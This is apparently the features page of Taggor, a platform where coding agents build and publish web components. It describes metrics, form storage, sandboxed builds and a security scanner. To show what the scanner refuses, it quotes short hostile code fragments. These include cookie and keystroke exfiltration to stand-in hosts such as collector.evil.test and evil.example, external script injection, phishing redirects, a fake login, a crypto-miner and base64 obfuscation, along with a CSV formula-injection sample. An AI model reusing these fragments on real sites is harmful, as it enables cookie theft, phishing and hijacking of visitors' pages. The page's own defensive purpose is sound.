Each number says how far to trust it.
A submission is a row Taggor stored, so it is counted. What a browser reports can be inflated by anyone who knows a site key, so it is labelled forgeable and no bill rests on it.
Features
Each capability of Taggor, with the page of the docs that explains it.
01
One script tag per site, pasted once. Each site keeps its own words and colors. Publishing creates a version, and the sites that use a channel follow it when the version is promoted there.
<contact-form />Bakeryruns v7v8
Shopruns v7v8
Clinicruns v7v8
Software productruns v7v8
Example with fictional sites. Simulation: nothing leaves this page
See the platforms page. The exact snippet for each framework and platform, with its documented limits, is on the platforms page.
02
Impressions, events you track and submissions by site, country and device, counted without cookies or a visitor identifier. In the portal, in the terminal and for your agent.
How your components are doing across the workspace's sites.
taggor metrics --group-by country
production, last 7 days, per day. Not real time; browser events are reported by the visitor's browser.
Impressions: 9,949 (component_events, forgeable)
Custom events: 1,174 (component_events, forgeable)
Submissions: 468 (submissions, counted)
Submission rate: 4.7% (component_events, forgeable)The same numbers, one line per metric, each with its source and how far to trust it. Add --json and your agent reads them.
Illustrative numbers
A submission is a row Taggor stored, so it is counted. What a browser reports can be inflated by anyone who knows a site key, so it is labelled forgeable and no bill rests on it.
Honors Global Privacy Control and Do Not Track by default for component metrics: when the signal is present, we record only a delivery and render count. You can change this per site. A country is two letters and a device is one of four classes; the IP address and user agent are read in memory and are not written to metrics records.
When a component throws in a visitor's browser, the runtime reports it. Each version gets its errors divided by its mounts, a signal to read before you promote.
03
Submissions are stored for you. By default one that looks automated is kept and marked suspect; a site can instead choose to answer it without storing it (taggor sites protection set --suspects drop), and the visitor gets the same reply either way. Submissions refused while a Free workspace is at its limit are not stored. Filter, export and delete whenever you want. How spam marks work
requests| Received | name | message | Suspect | |
|---|---|---|---|---|
| 14:03 | Bot Example | bot@example.net | =HYPERLINK("https://example.invalid/win","Claim your prize") | Suspect |
| 14:02 | Ada Example | ada@example.com | - | |
| 13:42 | Grace Sample | grace@example.org | Do you ship on Fridays? | |
| 13:22 | Alan Test | alan@example.net | Is there a dark theme? |
The other fields are in the submission's details and in the file.
id,created_at,status,site_id,schema_version,page,country,browser,verification,suspect,environment,topic,timeline,message,name,email
sub_demo_0004,2026-09-14T14:03:00.000Z,received,st_demo,1,/contact,BR,Chrome,none,honeypot,production,website,quarter,"'=HYPERLINK(""https://example.invalid/win"",""Claim your prize"")",Bot Example,bot@example.net
sub_demo_0003,2026-09-14T14:02:00.000Z,received,st_demo,1,/contact,BR,Chrome,none,,production,website,quarter,,Ada Example,ada@example.com
sub_demo_0002,2026-09-14T13:42:00.000Z,received,st_demo,1,/contact,BR,Chrome,none,,production,website,quarter,Do you ship on Fridays?,Grace Sample,grace@example.org
sub_demo_0001,2026-09-14T13:22:00.000Z,received,st_demo,1,/contact,BR,Chrome,none,,production,website,quarter,Is there a dark theme?,Alan Test,alan@example.net
votes| Received | poll_id | option | Suspect |
|---|---|---|---|
| 14:02 | lunch | Tacos | |
| 13:42 | lunch | Ramen | |
| 13:22 | lunch | Pizza | |
| 13:02 | lunch | Pizza |
id,created_at,status,site_id,schema_version,page,country,browser,verification,suspect,environment,poll_id,option sub_demo_0004,2026-09-14T14:02:00.000Z,received,st_demo,1,/poll,BR,Chrome,none,,production,lunch,Tacos sub_demo_0003,2026-09-14T13:42:00.000Z,received,st_demo,1,/poll,BR,Chrome,none,,production,lunch,Ramen sub_demo_0002,2026-09-14T13:22:00.000Z,received,st_demo,1,/poll,BR,Chrome,none,,production,lunch,Pizza sub_demo_0001,2026-09-14T13:02:00.000Z,received,st_demo,1,/poll,BR,Chrome,none,,production,lunch,Pizza
ratings| Received | subject | score | Suspect |
|---|---|---|---|
| 14:02 | delivery | 5 | |
| 13:42 | delivery | 5 | |
| 13:22 | delivery | 4 | |
| 13:02 | delivery | 5 |
id,created_at,status,site_id,schema_version,page,country,browser,verification,suspect,environment,subject,score sub_demo_0004,2026-09-14T14:02:00.000Z,received,st_demo,1,/rating,BR,Chrome,none,,production,delivery,5 sub_demo_0003,2026-09-14T13:42:00.000Z,received,st_demo,1,/rating,BR,Chrome,none,,production,delivery,5 sub_demo_0002,2026-09-14T13:22:00.000Z,received,st_demo,1,/rating,BR,Chrome,none,,production,delivery,4 sub_demo_0001,2026-09-14T13:02:00.000Z,received,st_demo,1,/rating,BR,Chrome,none,,production,delivery,5
Simulation: nothing leaves this page
A hidden field no person sees marks the bot's submission as suspect. By default it is kept, labelled and filterable.
Export builds the file from what the table shows. A cell that starts like a formula gets a quote in front, so opening the file does not run it.
=HYPERLINK("https://example.invalid/win","Claim your prize")'=HYPERLINK("https://example.invalid/win","Claim your prize")We don't write the visitor's IP address or full user agent to metrics or to form submissions. We do record the page's domain. Our network provider processes IP addresses to deliver and protect traffic.
04
Your agent fixes its own build errors. Its code is treated as untrusted and scanned on every publish, and on your page each component renders in its own Shadow DOM (its styles stay apart) behind an error boundary (a component that throws does not take the page down).
Swipe sideways through the steps
Fetch https://taggor.dev/agent-setup/prompt.md and follow its instructions to set me up for Taggor. Ask me before you sign in, create an account, accept terms, pay for anything or type a secret.taggor init --agent claudeCreated the project in ~/.taggor/projects/rich-note with the component rich-note. wrote taggor.json wrote components/rich-note/src/index.tsxAgent files (bundle 0.10.1) for claude: wrote .claude/skills/taggor/SKILL.md wrote CLAUDE.mdtaggor checkfailed: rich-note (1 error(s), 0 warning(s))components/rich-note/src/index.tsx:15:36 error UNSAFE_HTML_SINK: a string written as HTML can run script (rule html-sink): innerHTML with a string that is not a fixed literal if (box.current) box.current.innerHTML = message; hint: Render the content with JSX ({message} is escaped), or set textContent; for formatting, accept structured data (a list of paragraphs, bold ranges) instead of HTML.1 of 1 component(s) would fail the publication gates (1 error(s)).agent: the hint says to render with JSX. Editing src/index.tsx.--- src/index.tsx- 13 const box = useRef<HTMLDivElement>(null);- 14 useEffect(() => {- 15 if (box.current) box.current.innerHTML = message;- 16 }, [message]);- 17 return <div ref={box} />;+ return <div>{message}</div>;taggor checkok: rich-note passed 3 gate(s)1 component(s) checked, all publishable.taggor publishUploaded. Build bld_….Build bld_…: queuedBuild bld_…: buildingBuild bld_…: checkingBuild bld_…: succeeded preview: https://<preview host>/p/<token>taggor logs rich-note --followBuild bld_… (newest version of rich-note)[queued] passed[resolving] passed[compiling] passed[gate:typecheck] passed[gate:size] passed[gate:security] passed[build] succeeded (0 errors, 0 warnings)17 components written to attack the host page or its visitors. Each one is refused with its code, the file and the line.
Refused: SECRET_IN_SOURCE
.env · src/config.ts
taggor publishLeft out .env: it looks like a credential and is never packaged.src/config.ts:1:24 error SECRET_IN_SOURCE: a GitHub token (ghp_…) is in the component's source; the bundle is public, so the build refuses it1 secret(s) found in the component's files (values are masked). Nothing was sent: the bundle is public. Remove them and rotate the keys.A .env file, a key file or a token written in the code is stopped by the CLI before anything is sent, and the value is masked in the message.
Refused: CREDENTIAL_CAPTURE
src/index.tsx:31
30 <form onSubmit={onSubmit}>31 <p>Your session has expired. Sign in with Google to continue.</p>32 <input name="email" type="email" autocomplete="username" />A look-alike login that stores the visitor's password through a Taggor collection.
Refused: MINING_PATTERN
src/index.tsx:8
7 8const WORKER_SOURCE = `9let nonce = 0;A Blob worker that hashes in a loop and talks Stratum to a mining pool over a WebSocket.
Refused: UNDECLARED_NETWORK
src/index.tsx:13
12 useEffect(() => {13 void fetch("https://collector.evil.test/c", {14 method: "POST",Reads document.cookie and posts it to an undeclared origin.
Refused: UNSAFE_DOCUMENT_WRITE
src/index.tsx:14
13 onClick={() => {14 document.open();15 document.write(document.write on a click, replacing the host page with a card form.
Refused: MANIFEST_EXTRACTION_FAILED
src/index.tsx:5
4 5const greeting = eval('"hello"') as string;6 eval at the top level of the module: the locked-down manifest extraction (no code generation from strings) already fails it.
Refused: UNSAFE_EVAL
src/index.tsx:18
17 const input = (event.currentTarget as HTMLFormElement).elements.namedItem("expr");18 setResult(String(eval((input as HTMLInputElement).value)));19 }}eval on what the visitor types, inside an event handler.
Refused: UNSAFE_SCRIPT_ELEMENT
src/index.tsx:13
12 useEffect(() => {13 const script = document.createElement("script");14 script.src = "https://cdn.evil.test/payload.js";Appends an external <script> to the host page's head, outside the shadow root.
Refused: UNDECLARED_NETWORK
src/index.tsx:14
13 const pixel = new Image();14 pixel.src = "https://pixel.example.net/p.gif?v=" + encodeURIComponent(value);15 };Sends what the visitor types in the URL of a hidden image, to an undeclared origin.
Refused: UNSAFE_HTML_SINK
src/index.tsx:15
14 useEffect(() => {15 if (box.current) box.current.innerHTML = message;16 }, [message]);Writes a string prop (an attribute of the page) through innerHTML.
Refused: UNSAFE_FUNCTION_CONSTRUCTOR
src/index.tsx:12
11 render: ({ formula }) => {12 const compute = new Function(`return (${formula});`) as () => unknown;13 return <output>{String(compute())}</output>;new Function over a string prop, so the page's attribute becomes code.
Refused: OBFUSCATED_CODE
src/index.tsx:15
14 useEffect(() => {15 const code = atob(atob(PAYLOAD));16 const probe = atob("ZmV0Y2goJ2h0dHBzOi8vYy5leGFtcGxlLm5ldCcp");Hides its payload in base64 inside base64, base64 of code and a name spelled in character codes.
Refused: UNSAFE_PREACT_INTERNALS
src/index.tsx:7
6 const [done] = useState(false);7 for (const hook of this.__H.__) {8 const dispatch = hook.__?.[1];Drives hook state through Preact's mangled internals instead of the hooks' own API.
Refused: UNSAFE_STRING_TIMER
src/index.tsx:14
13 useEffect(() => {14 const run = setTimeout as unknown as (code: string, ms: number) => number;15 run(action, 1000);setTimeout with a string built from a prop, an eval in disguise.
Refused: ASSET_SVG_UNSAFE
src/badge.svg:1
1<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 10 10" onload="fetch('https://evil.example/c?' + document.cookie)">2 <script>top.location = "https://evil.example/phish";</script>An SVG asset with a <script> and an onload handler: refused with ASSET_SVG_UNSAFE at each line, nothing published.
Refused: UNSAFE_TAGGOR_GLOBAL
src/index.tsx:15
14 const original = host.taggor;15 Object.defineProperty(window, "taggor", {16 configurable: true,Replaces the host page's taggor API to read the other components' events.
Refused: UNDECLARED_NETWORK
src/index.tsx:14
13 const timer = setTimeout(() => {14 (window.top ?? window).location.href = "https://login.phish.test/account";15 }, 3000);Navigates the top window to a look-alike login page after mounting.
Refused: UNDECLARED_NETWORK
src/index.tsx:15
14 void fetch("https://api.store.example.com/quote?q=" + encodeURIComponent(value));15 void fetch("https://collector.example.net/keys", { method: "POST", body: value });16 };Declares the store's API and also sends what the visitor types to an undeclared origin.
The diagnostics the builder prints for each refused component
Asked to create an API key, the agent gets a refusal that names the exact portal page and the steps for you. It does not retry and it does not look for a way around.
agent: I need an API key.403 human_action_requiredThis is for a person, not an agent: Create an API key or token. Do not retry it. Tell the person to open /w/<workspace-slug>/settings/api-keys in the portal (<workspace-slug> is the workspace slug) and: 1. Sign in to the portal and open the workspace. 2. Open Settings, then API keys. 3. Choose Create key, name it and pick the smallest set of scopes it needs. 4. Copy the key once, when it is shown, into the tool that needs it; do not paste it into a chat.What the CLI relays to the agent, from the contract's catalog
Every docs page also exists as Markdown at the same address with .md, so an agent reads the page without the page around it.
GET /docs/quickstart.md# CLI quickstartFrom signing in to a component showing on a test page of your own and then on your live website, with the taggor CLI.## Before you start## 1. Get the CLI## 2. Sign in## 3. Create the first componentThe head of a real docs page, as Markdown
The Shadow DOM keeps styles apart, and the error boundary keeps a component that throws from stopping the rest of your page. Try it, then read what each layer does.
Its own text, its own button, three components.
pressed 0 times
click-counterCounterCounts, with its own button.+click-counterthe content inside the tagNo clicks yet, as the page wrote it.promo-bannerPromo bannerA line and a link.→promo-bannerthe content inside the tagThe page's own line of text.faq-accordionQuestionsOpens and closes.▾faq-accordionthe content inside the tagThe questions as plain text.Errors on the page:
Press a button. The page counts its own errors.
One component threw. Only that one fell back to the content you wrote inside its tag; the other two kept running.
The page's buttons turned yellow with !important. The components kept their own look: the page's CSS does not cross the Shadow DOM.
With Taggor off, each tag shows the content inside it, and the page stays clickable.
A replay of the failure cases A bundle that throws, the CDN down, and a page stylesheet that fights the components.
05
On a site with a server, your component arrives in the page's first HTML. The browser shows it before any script runs, and the page below it is not pushed down when the script arrives.
Empty until the script runs.The component appears now, and the page below it jumps down.
Already there, styled, before a single script has run.The same elements become interactive, and the page below is not pushed down.
Illustration: nothing leaves this page
Today
<faq-accordion headline="Questions"></faq-accordion> With server rendering
${await taggor.render("faq-accordion", { headline: "Questions" })} The site's script tag stays as it is, and the helper is set up once with a server key kept in your server's environment. The gain is on the page load: when a link swaps the page without a reload, the component renders in the browser as it does with the snippet alone.
The component's HTML and styles come in the first response, so the browser shows it without running a script. The content is in the HTML your server sends.
When the script arrives, the component becomes interactive on the elements already on screen. This holds in Chromium, Firefox and WebKit.
The helper waits a short time. On a failure it returns the plain tag, and the page behaves as it does with the snippet alone.
Every plan has an allowance of server renders.
06
The numbers first, then the small things that are easy to miss.
hash b595da8d6a109ff7…Locked: we never edit a published version. We may disable it under the Acceptable Use Policy.Your agent's code is treated as untrusted: built with no network, scanned against our rules, and refused with the file and line when something is wrong.
Removing a prop a site relies on stops the publish to production until you say it may go.
Staging and production each point at a version. Rolling back moves the pointer; nothing is rebuilt.
The Taggor loader and runtime set no cookies and use no browser storage. Components you build can, if you write them to. That choice, and the notices it may require, are yours. We add no ad pixels or third-party trackers to your site. Taggor runs on the infrastructure providers named in our Subprocessor List. Metrics with no visitor identifier. We count renders and events by site, country, and device type. The IP address and user agent are read in memory to derive those values and are not written to metrics records.
Each component runs behind its own error boundary: if one throws, the rest of the page keeps working.
under 4 KB Loader size (gzip), checked before every Taggor release
Loader size (gzip), checked before every Taggor release
An agency keeps each client's sites together, in one workspace.
10,100 of 10,000
101% used Reached at 100%
200 of 250
80% used Warning at 80%
Still here, still normal.
A component Rendering normally
On Pro and Agency a full meter does not switch the components off. On Free, components may stop showing until the next month.
Illustrative numbers
Renders and submissions per site, counted with no visitor identifier. You are warned at 80% and at 100%. On Pro and Agency, a full meter doesn't switch your components off: the extra is billed at the end of the month. On Free, components may stop showing until the next month.
Each component comes with a generated declaration file, so the site's editor checks its props.
before-after-sliderbooking-pickerbudget-calculatorcard-carouselcontact-formdownloadeddata-tablefaq-accordiondownloadedfeedback-collectorfinance-simulatorlaunch-countdownThe manifest lists 10 components. This page has 2 of them, so 2 bundles download.
Focus is on the pageFocus is inside the component
Press Tab: focus goes through the page, enters the component and comes out, in order, as it would with a native field.
The loader has a hard ceiling, checked before every Taggor release. Next to a file this page already downloads:
A component carries its messages in each language you give it and shows the visitor's.
On a site with a server, the component arrives in the page's first HTML, and the browser shows it before any script runs.
Pull any published version into a project folder, so the source is never only on our side.
Every documentation page also exists as Markdown at the same address with .md, and llms.txt lists the main ones.
taggor dev serves a local preview with hot reload, so your agent sees what it just changed.
taggor login shows a short code in the terminal; you approve the same code on the portal's /device page.
The portal's onboarding waits for the first version your agent publishes and ticks the step.
Your visitors see your component, never a “Made with Taggor” label.
A new submission can email you, so you hear about it without opening the portal.
Illustrative demo.
07
| Capability | What it does | Read more |
|---|---|---|
| SDK | Your agent writes a component in TypeScript with a typed contract: props, events, slots and the data it may collect. | Component contract |
| Check on your machine | The publish checks (types, size, security) run locally, with no network, before anything is sent. | CLI quickstart |
| Styles | CSS, SCSS and Tailwind (configured in CSS only), scoped to the component. | Component contract |
| Accessibility | Keyboard and screen-reader behavior inside the Shadow DOM, including form fields, is built into the templates. | Component contract |
| Build in a sandbox | Source is built in an isolated container, apart from your machine. | CLI quickstart |
| Immutable versions | Each publish is a new version addressed by its content. Locked: we never edit a published version, a change is a new version. We may disable a version under the Acceptable Use Policy. | CLI quickstart |
| Channels | A channel (staging, production) points at one version. When you promote a version, the channel points at it and the sites that use the channel follow. | CLI quickstart |
| Rollback | Point a channel back at the previous version from the CLI or the portal. Nothing is rebuilt. | CLI quickstart |
| Private preview | Each build can be seen at a private, temporary link before it reaches a channel. | CLI quickstart |
| One snippet per site | One async script tag per site loads a small loader that fetches only the components that site uses. | Install the snippet |
| Allowed domains | A site lists the domains where its components mount. It stops a copied snippet from working elsewhere; it is not access control. | Allowed domains |
| Values per site | The same component can carry different default values on each site, set without a new version. | Forms and data |
| Collected data | A component declares collections in its manifest; submissions are validated against the schema, checked for spam and stored for you. | Forms and data |
| Export | Submissions are listed in the portal and exported as CSV or NDJSON from the portal and the CLI. | Forms and data |
| Copy for your own host | Download a copy of the built components from the portal and serve it from your own host, as a fallback or to take them with you. | Host the files yourself |
| Portal | Sites, components, versions, previews, props and promote or rollback, without the command line. | CLI quickstart |
| Made for agents | llms.txt, an agent setup page, and a skill for coding agents. | Set up your coding agent |
| Hosts and browsers | Components run on plain HTML, a strict Content-Security-Policy, Next.js, a React single-page app and WordPress, in Chromium, Firefox and WebKit. | Platform guides |
08
Paste the prompt into your coding agent, or start from the quickstart.
One-line prompt for your agent
Fetch https://taggor.dev/agent-setup/prompt.md and follow its instructions to set me up for Taggor. Ask me before you sign in, create an account, accept terms, pay for anything or type a secret.